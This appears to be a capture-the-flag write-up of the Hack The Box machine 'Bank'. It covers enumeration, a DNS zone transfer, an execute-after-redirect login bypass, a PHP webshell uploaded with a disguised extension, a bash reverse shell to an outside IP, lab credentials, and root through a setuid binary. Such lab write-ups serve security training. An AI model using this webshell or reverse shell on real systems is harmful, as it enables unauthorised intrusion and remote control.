Bank Writeup

Enumeration

Honestly, just run nmap:

$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap 10.10.10.29
[...]
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http
[...]
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -p $ports -sCV -oN enum/scripts.nmap 10.10.10.29
[...]
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_  256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open  domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-title: HTB Bank - Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.7 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

DNS

DNS is listening on tcp, so it's worth trying a zone transfer:

$ dig @10.10.10.29 bank.htb axfr
[...]
bank.htb.        604800  IN      SOA     bank.htb. chris.bank.htb. 5 604800 86400 2419200 604800
bank.htb.        604800  IN      NS      ns.bank.htb.
bank.htb.        604800  IN      A       10.10.10.29
ns.bank.htb.     604800  IN      A       10.10.10.29
www.bank.htb.    604800  IN      CNAME   bank.htb.
bank.htb.        604800  IN      SOA     bank.htb. chris.bank.htb. 5 604800 86400 2419200 604800
[...]

And it works! We get the confirmation that bank.htb exists as well as a potential username: 'chris'.

HTTP

Taking a look at the websever, we see the default Ubuntu apache installation page:

bank.htb

We discovered a hostname with a DNS zone transfer so let's see if there is something else on here:

We indeed get login page. Let's run a gobuster while we're at it:

$ gobuster dir -u http://bank.htb/ -x php -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -t 35 -o enum/80-bank.htb.dir
[...]
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/inc                  (Status: 301) [Size: 301] [--> http://bank.htb/inc/]
/uploads              (Status: 301) [Size: 305] [--> http://bank.htb/uploads/]
/assets               (Status: 301) [Size: 304] [--> http://bank.htb/assets/]
/support.php          (Status: 302) [Size: 3291] [--> login.php]
/.                    (Status: 302) [Size: 7322] [--> login.php]
/index.php            (Status: 302) [Size: 7322] [--> login.php]
/login.php            (Status: 200) [Size: 1974]
[...]

The interesting thing is the size of the response for /support.php and /index.php is abnormally large for a 302 response.

This might indicate a Execute After Redirect vulnerability, which would let us access the application without logging in.

Let's intercept a request to /index.php with Burp and before forwarding, right click and go to 'Do intercept' -> 'Response to this request':

Then forward the request:

And here we can see the html of the page, even though we were redirected to /login.php. To see the page in our browser, just change '302 Found' by '200 OK' and forward again:

We can check /support.php as well:

There an interesting comment in the source of this page:

Foothold

Let's start by trying to upload a simple php webshell:

$ echo '<?php system($_REQUEST["cmd"]); ?>' > cmd.php

Then submit the form it and check the response:

Looks like we can't upload php files... But remember the comment we saw on the source of the page, it was talking about a '.htb' extension that is executed as php.

Just change the extension to 'htb' and upload again:

Then go to http://bank.htb/uploads/cmd.htb?cmd=id:

Reverse shell time: intercept the request in Burp and use a bash reverse shell:

bash -c 'bash -i >& /dev/tcp/10.10.14.14/4242 0>&1'

Since this payload contains bad characters (like '&') we want to URL encode all characters with right click -> 'Convert selection' -> 'URL' -> 'URL-encode all characters':

And boom! We got a shell as 'www-data'.

Privesc

After looking a bit around the web directory we find mysql creds in /var/www/bank/inc/user.php:

$mysql = new mysqli("localhost", "root", "!@#S3cur3P4ssw0rd!@#", "htbbank");

The database unfortunately doesn't have any interesting information, except an uncrackable (with rockyou.txt) md5 hash:

mysql> select * from users;
+----+------------------------+----------------+----------------------------------+---------+
| id | username               | email          | password                         | balance |
+----+------------------------+----------------+----------------------------------+---------+
|  1 | Christos Christopoulos | chris@bank.htb | b27179713f7bffc48b9ffd2cf9467620   | 1.337   |
+----+------------------------+----------------+----------------------------------+---------+

The mysql password does not allow us to login as root or chris.

Moving on, we can find another password still in the webroot:

www-data@bank:/var/www/bank$ cat bankreports.txt
+=================+
| HTB Bank Report |
+=================+

===Users===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 2
Transactions: 8
Balance: 1.337$

The hash we found in the database (b27179713f7bffc48b9ffd2cf9467620) is actually the hash of this password. But again, this password is pretty much useless.

At this point, I like running a find command to search for unusual setuid executables:

www-data@bank:/var/www/bank$ find / -user root -perm -u=s 2> /dev/null
/var/htb/bin/emergency
[...]

This /var/htb/bin/emergency binary is definitely not standard. Let's execute it and see what happens (what could go wrong):

www-data@bank:/var/www/bank$ /var/htb/bin/emergency
# whoami
root

Well, it seems like we are in a root shell...

Key Takeaways

• Always check the size of responses on redirects